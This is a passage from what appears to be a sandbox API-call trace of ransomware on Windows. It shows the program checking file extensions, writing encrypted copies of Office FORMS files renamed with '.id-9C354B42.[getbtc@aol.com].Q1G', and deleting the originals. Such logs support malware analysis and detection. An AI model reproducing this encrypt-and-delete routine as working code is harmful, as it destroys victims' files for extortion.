(hObject=0x3e0) returned 1 [0262.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg")) returned 1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.841] lstrlenW (lpString=".doc") returned 4 [0262.841] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.841] lstrlenW (lpString=".docx") returned 5 [0262.841] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0262.841] lstrlenW (lpString=".pdf") returned 4 [0262.841] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.841] lstrlenW (lpString=".xls") returned 4 [0262.841] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.841] lstrlenW (lpString=".xlsx") returned 5 [0262.841] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0262.841] lstrlenW (lpString=".ppt") returned 4 [0262.841] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.841] lstrlenW (lpString=".zip") returned 4 [0262.841] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.841] lstrlenW (lpString=".rar") returned 4 [0262.841] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.841] lstrlenW (lpString=".bz2") returned 4 [0262.841] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.841] lstrlenW (lpString=".7z") returned 3 [0262.841] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.841] lstrlenW (lpString=".dbf") returned 4 [0262.841] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.841] lstrlenW (lpString=".1cd") returned 4 [0262.841] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.841] lstrlenW (lpString=".jpg") returned 4 [0262.841] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.841] lstrlenW (lpString=".doc") returned 4 [0262.842] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.842] lstrlenW (lpString=".docx") returned 5 [0262.842] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0262.842] lstrlenW (lpString=".pdf") returned 4 [0262.842] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.842] lstrlenW (lpString=".xls") returned 4 [0262.842] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.842] lstrlenW (lpString=".xlsx") returned 5 [0262.842] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0262.842] lstrlenW (lpString=".ppt") returned 4 [0262.842] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.842] lstrlenW (lpString=".zip") returned 4 [0262.842] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.842] lstrlenW (lpString=".rar") returned 4 [0262.842] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.842] lstrlenW (lpString=".bz2") returned 4 [0262.842] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.842] lstrlenW (lpString=".7z") returned 3 [0262.842] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.842] lstrlenW (lpString=".dbf") returned 4 [0262.842] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.842] lstrlenW (lpString=".1cd") returned 4 [0262.842] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned 64 [0262.842] lstrlenW (lpString=".jpg") returned 4 [0262.842] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.842] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.842] lstrlenW (lpString="REMOTEL.ICO") returned 11 [0262.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.843] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1078) returned 1 [0262.843] CloseHandle (hObject=0x3e0) returned 1 [0262.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico")) returned 0x20 [0262.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.845] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.845] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.846] GetLastError () returned 0x0 [0262.846] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x436, lpOverlapped=0x0) returned 1 [0262.849] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x440, lpOverlapped=0x0) returned 1 [0262.850] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.850] WriteFile (in: hFile=0x388, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0262.850] SetEndOfFile (hFile=0x388) returned 1 [0262.850] CloseHandle (hObject=0x388) returned 1 [0262.850] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.850] SetEndOfFile (hFile=0x3e0) returned 1 [0262.852] CloseHandle (hObject=0x3e0) returned 1 [0262.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico")) returned 1 [0262.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.853] lstrlenW (lpString=".doc") returned 4 [0262.853] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.853] lstrlenW (lpString=".docx") returned 5 [0262.853] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.853] lstrlenW (lpString=".pdf") returned 4 [0262.853] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.853] lstrlenW (lpString=".xls") returned 4 [0262.853] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.853] lstrlenW (lpString=".xlsx") returned 5 [0262.853] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.853] lstrlenW (lpString=".ppt") returned 4 [0262.853] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.853] lstrlenW (lpString=".zip") returned 4 [0262.853] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.853] lstrlenW (lpString=".rar") returned 4 [0262.853] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.854] lstrlenW (lpString=".bz2") returned 4 [0262.854] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.854] lstrlenW (lpString=".7z") returned 3 [0262.854] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.854] lstrlenW (lpString=".dbf") returned 4 [0262.854] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.854] lstrlenW (lpString=".1cd") returned 4 [0262.854] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.854] lstrlenW (lpString=".jpg") returned 4 [0262.854] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.854] lstrlenW (lpString=".doc") returned 4 [0262.854] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.854] lstrlenW (lpString=".docx") returned 5 [0262.854] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.854] lstrlenW (lpString=".pdf") returned 4 [0262.854] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.854] lstrlenW (lpString=".xls") returned 4 [0262.854] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.854] lstrlenW (lpString=".xlsx") returned 5 [0262.854] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.854] lstrlenW (lpString=".ppt") returned 4 [0262.854] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.854] lstrlenW (lpString=".zip") returned 4 [0262.854] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.854] lstrlenW (lpString=".rar") returned 4 [0262.854] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.854] lstrlenW (lpString=".bz2") returned 4 [0262.854] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.854] lstrlenW (lpString=".7z") returned 3 [0262.854] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.855] lstrlenW (lpString=".dbf") returned 4 [0262.855] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.855] lstrlenW (lpString=".1cd") returned 4 [0262.855] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0262.855] lstrlenW (lpString=".jpg") returned 4 [0262.855] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.855] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.855] lstrlenW (lpString="REMOTES.ICO") returned 11 [0262.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.894] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0262.894] CloseHandle (hObject=0x3dc) returned 1 [0262.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico")) returned 0x20 [0262.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.907] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.907] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.908] GetLastError () returned 0x0 [0262.908] ReadFile (in: hFile=0x37c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0262.917] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0262.918] ReadFile (in: hFile=0x37c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.918] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0262.918] SetEndOfFile (hFile=0x1b8) returned 1 [0262.918] CloseHandle (hObject=0x1b8) returned 1 [0262.918] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.918] SetEndOfFile (hFile=0x37c) returned 1 [0262.920] CloseHandle (hObject=0x37c) returned 1 [0262.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico")) returned 1 [0263.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.011] lstrlenW (lpString=".doc") returned 4 [0263.011] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.011] lstrlenW (lpString=".docx") returned 5 [0263.011] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.011] lstrlenW (lpString=".pdf") returned 4 [0263.011] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.011] lstrlenW (lpString=".xls") returned 4 [0263.011] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.011] lstrlenW (lpString=".xlsx") returned 5 [0263.011] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.011] lstrlenW (lpString=".ppt") returned 4 [0263.011] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.012] lstrlenW (lpString=".zip") returned 4 [0263.012] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.012] lstrlenW (lpString=".rar") returned 4 [0263.012] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.012] lstrlenW (lpString=".bz2") returned 4 [0263.012] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.012] lstrlenW (lpString=".7z") returned 3 [0263.012] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.012] lstrlenW (lpString=".dbf") returned 4 [0263.012] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.012] lstrlenW (lpString=".1cd") returned 4 [0263.012] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.012] lstrlenW (lpString=".jpg") returned 4 [0263.012] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.012] lstrlenW (lpString=".doc") returned 4 [0263.012] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.012] lstrlenW (lpString=".docx") returned 5 [0263.012] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.012] lstrlenW (lpString=".pdf") returned 4 [0263.012] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.012] lstrlenW (lpString=".xls") returned 4 [0263.012] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.012] lstrlenW (lpString=".xlsx") returned 5 [0263.012] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.012] lstrlenW (lpString=".ppt") returned 4 [0263.012] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.012] lstrlenW (lpString=".zip") returned 4 [0263.012] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.012] lstrlenW (lpString=".rar") returned 4 [0263.013] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.013] lstrlenW (lpString=".bz2") returned 4 [0263.013] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.013] lstrlenW (lpString=".7z") returned 3 [0263.013] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.013] lstrlenW (lpString=".dbf") returned 4 [0263.013] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.013] lstrlenW (lpString=".1cd") returned 4 [0263.013] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0263.013] lstrlenW (lpString=".jpg") returned 4 [0263.013] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.013] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.013] lstrlenW (lpString="RESEND.CFG") returned 10 [0263.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.014] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=779) returned 1 [0263.014] CloseHandle (hObject=0x1f8) returned 1 [0263.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg")) returned 0x20 [0263.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.014] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.014] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.016] GetLastError () returned 0x0 [0263.016] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x30b, lpOverlapped=0x0) returned 1 [0263.017] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x310, lpOverlapped=0x0) returned 1 [0263.018] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.018] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0263.018] SetEndOfFile (hFile=0x39c) returned 1 [0263.018] CloseHandle (hObject=0x39c) returned 1 [0263.018] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.018] SetEndOfFile (hFile=0x1f8) returned 1 [0263.020] CloseHandle (hObject=0x1f8) returned 1 [0263.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg")) returned 1 [0263.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned 64 [0263.022] lstrlenW (lpString=".doc") 